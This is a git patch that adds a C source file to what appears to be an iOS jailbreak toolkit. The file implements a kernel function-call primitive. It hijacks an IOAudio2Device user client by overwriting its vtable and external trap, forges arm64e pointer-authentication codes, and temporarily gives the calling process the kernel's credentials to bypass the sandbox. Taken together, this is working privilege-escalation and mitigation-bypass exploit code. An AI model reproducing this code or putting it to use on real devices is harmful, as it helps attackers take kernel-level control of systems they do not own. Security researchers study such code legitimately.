From 7bca6ad19e54e2edc4ec9cfa10da20a26e294334 Mon Sep 17 00:00:00 2001 From: Pwn20wnd Date: Sat, 9 Mar 2019 23:30:26 +0300 Subject: Merge pwn's changes to support arm64e via rebase --- kernel_call/user_client.c | 363 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 363 insertions(+) create mode 100755 kernel_call/user_client.c (limited to 'kernel_call/user_client.c') diff --git a/kernel_call/user_client.c b/kernel_call/user_client.c new file mode 100755 index 0000000..24f5f57 --- /dev/null +++ b/kernel_call/user_client.c @@ -0,0 +1,363 @@ +/* + * kernel_call/user_client.c + * Brandon Azad + */ +#include "user_client.h" + +#include + +#include "IOKitLib.h" +#include "kernel_call.h" +#include "kc_parameters.h" +#include "pac.h" +#include "kernel_memory.h" +#include "kernel_slide.h" +#include "log.h" +#include "mach_vm.h" +#include "parameters.h" + +// ---- Global variables -------------------------------------------------------------------------- + +// The connection to the user client. +static io_connect_t connection; + +// The address of the user client. +static uint64_t user_client; + +// The address of the IOExternalTrap. +static uint64_t trap; + +// The size of our kernel buffer. +static const size_t kernel_buffer_size = 0x4000; + +// The address of our kernel buffer. +static uint64_t kernel_buffer; + +// The maximum size of the vtable. +static const size_t max_vtable_size = 0x1000; + +// The user client's original vtable pointer. +static uint64_t original_vtable; + +// ---- Stage 1 ----------------------------------------------------------------------------------- + +/* + * kernel_get_proc_for_task + * + * Description: + * Get the proc struct for a task. + */ +static uint64_t +kernel_get_proc_for_task(uint64_t task) { + return kernel_read64(task + OFFSET(task, bsd_info)); +} + +/* + * stage0_create_user_client + * + * Description: + * Create a connection to an IOAudio2DeviceUserClient object. + */ +static bool +stage0_create_user_client() { + bool success = false; + // First get a handle to some IOAudio2Device driver. + io_iterator_t iter; + kern_return_t kr = IOServiceGetMatchingServices( + kIOMasterPortDefault, + IOServiceMatching("IOAudio2Device"), + &iter); + if (iter == MACH_PORT_NULL) { + ERROR("could not find services matching %s", "IOAudio2Device"); + goto fail_0; + } + // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be + // denied with a sandbox error. + uint64_t ucred_field, ucred; + assume_kernel_credentials(&ucred_field, &ucred); + // Now try to open each service in turn. + for (;;) { + // Get the service. + mach_port_t IOAudio2Device = IOIteratorNext(iter); + if (IOAudio2Device == MACH_PORT_NULL) { + ERROR("could not open any %s", "IOAudio2Device"); + break; + } + // Now open a connection to it. + kr = IOServiceOpen( + IOAudio2Device, + mach_task_self(), + 0, + &connection); + IOObjectRelease(IOAudio2Device); + if (kr == KERN_SUCCESS) { + success = true; + break; + } + DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr)); + DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient"); + } + // Restore the credentials. + restore_credentials(ucred_field, ucred); +fail_1: + IOObjectRelease(iter); +fail_0: + return success; +} + +/* + * stage0_find_user_client_trap + * + * Description: + * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap. + */ +static void +stage0_find_user_client_trap() { + assert(MACH_PORT_VALID(connection)); + // Get the address of the port representing the IOAudio2DeviceUserClient. + uint64_t user_client_port; + bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL); + assert(ok); + // Get the address of the IOAudio2DeviceUserClient. + user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject)); + // Get the address of the IOExternalTrap. + trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps)); + DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap); +} + +/* + * stage0_allocate_kernel_buffer + * + * Description: + * Allocate a buffer in kernel memory. + */ +static bool +stage0_allocate_kernel_buffer() { + kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer, + kernel_buffer_size, VM_FLAGS_ANYWHERE); + if (kr != KERN_SUCCESS) { + ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr)); + ERROR("could not allocate kernel buffer"); + return false; + } + DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer); + return true; +} + +// ---- Stage 3 ----------------------------------------------------------------------------------- + +/* + * kernel_read_vtable_method + * + * Description: + * Read the virtual method pointer at the specified index in the vtable. + */ +static uint64_t +kernel_read_vtable_method(uint64_t vtable, size_t index) { + uint64_t vmethod_address = vtable + index * sizeof(uint64_t); + return kernel_read64(vmethod_address); +} + +/* + * stage2_copyout_user_client_vtable + * + * Description: + * Copy out the user client's vtable to userspace. The returned array must be freed when no + * longer needed. + */ +static uint64_t * +stage2_copyout_user_client_vtable() { + // Get the address of the vtable. + original_vtable = kernel_read64(user_client); + uint64_t original_vtable_xpac = kernel_xpacd(original_vtable); + // Read the contents of the vtable to local buffer. + uint64_t *vtable_contents = malloc(max_vtable_size); + assert(vtable_contents != NULL); + kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size); + return vtable_contents; +} + +/* + * stage2_patch_user_client_vtable + * + * Description: + * Patch the contents of the user client's vtable in preparation for stage 3. + */ +static size_t +stage2_patch_user_client_vtable(uint64_t *vtable) { + // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the + // original version (which calls IOUserClient::getExternalTrapForIndex()). + uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method( + ADDRESS(IOUserClient__vtable), + VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)); + vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)] + = IOUserClient__getTargetAndTrapForIndex; + // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with + // IORegistryEntry::getRegistryEntryID(). + vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] = + ADDRESS(IORegistryEntry__getRegistryEntryID); + // Forge the pacia pointers to the virtual methods. + size_t count = 0; + for (; count < max_vtable_size / sizeof(*vtable); count++) { + uint64_t vmethod = vtable[count]; + if (vmethod == 0) { + break; + } +#if __arm64e__ + assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count); + vmethod = kernel_xpaci(vmethod); + uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable); + vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address, + VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]); +#endif // __arm64e__ + } + return count; +} + +/* + * stage2_patch_user_client + * + * Description: + * Patch the user client in preparation for stage 3. + */ +static void +stage2_patch_user_client(uint64_t *vtable, size_t count) { + // Write the vtable to the kernel buffer. + kernel_write(kernel_buffer, vtable, count * sizeof(*vtable)); + // Overwrite the user client's registry entry ID to point to the IOExternalTrap. + uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved); + uint64_t reserved = kernel_read64(reserved_field); + uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); + kernel_write64(id_field, trap); + // Forge the pacdza pointer to the vtable. + uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0); + // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable. + kernel_write64(user_client, vtable_pointer); +} + +/* + * stage2_unpatch_user_client + * + * Description: + * Undo the patches to the user client. + */ +static void +stage2_unpatch_user_client() { + // Write the original vtable pointer back to the user client. + kernel_write64(user_client, original_vtable); +} + +// ---- API --------------------------------------------------------------------------------------- + +bool +stage1_kernel_call_init() { + // Initialize the parameters. We do this first to fail early. + bool ok = kernel_call_parameters_init(); + if (!ok) { + return false; + } + // Create the IOAudio2DeviceUserClient. + ok = stage0_create_user_client(); + if (!ok) { + ERROR("could not create %s", "IOAudio2DeviceUserClient"); + return false; + } + // Find the IOAudio2DeviceUserClient's IOExternalTrap. + stage0_find_user_client_trap(); + // Allocate the kernel buffer. + ok = stage0_allocate_kernel_buffer(); + if (!ok) { + return false; + } + return true; +} + +void +stage1_kernel_call_deinit() { + if (trap != 0) { + // Zero out the trap. + uint8_t trap_data[SIZE(IOExternalTrap)]; + memset(trap_data, 0, SIZE(IOExternalTrap)); + kernel_write(trap, trap_data, SIZE(IOExternalTrap)); + trap = 0; + } + if (kernel_buffer != 0) { + // Deallocate our kernel buffer. + mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size); + kernel_buffer = 0; + } + if (MACH_PORT_VALID(connection)) { + // Close the connection. + IOServiceClose(connection); + connection = MACH_PORT_NULL; + } +} + +uint64_t +stage1_get_kernel_buffer() { + assert(kernel_buffer_size >= 0x2000); + return kernel_buffer + kernel_buffer_size - 0x1000; +} + +uint32_t +stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { + assert(function != 0); + assert(argument_count <= 7); + assert(argument_count == 0 || arguments[0] != 0); + assert(MACH_PORT_VALID(connection) && trap != 0); + // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments. + uint64_t args[7] = { 1 }; + for (size_t i = 0; i < argument_count && i < 7; i++) { + args[i] = arguments[i]; + } + // Initialize the IOExternalTrap for this call. + uint8_t trap_data[SIZE(IOExternalTrap)]; + FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0]; + FIELD(trap_data, IOExternalTrap, function, uint64_t) = function; + FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0; + kernel_write(trap, trap_data, SIZE(IOExternalTrap)); + // Perform the function call. + uint32_t result = IOConnectTrap6(connection, 0, + args[1], args[2], args[3], args[4], args[5], args[6]); + return result; +} + +bool +stage3_kernel_call_init() { + uint64_t *vtable = stage2_copyout_user_client_vtable(); + size_t count = stage2_patch_user_client_vtable(vtable); + stage2_patch_user_client(vtable, count); + free(vtable); + return true; +} + +void +stage3_kernel_call_deinit() { + if (original_vtable != 0) { + stage2_unpatch_user_client(); + original_vtable = 0; + } +} + +uint32_t +kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { + return stage2_kernel_call_7v(function, argument_count, arguments); +} + +void +assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) { + uint64_t proc_self = kernel_get_proc_for_task(current_task); + uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task); + uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred); + uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred); + uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field); + uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field); + kernel_write64(proc_self_ucred_field, kernel_proc_ucred); + *ucred_field = proc_self_ucred_field; + *ucred = proc_self_ucred; +} + +void +restore_credentials(uint64_t ucred_field, uint64_t ucred) { + kernel_write64(ucred_field, ucred); +} -- cgit v1.2.3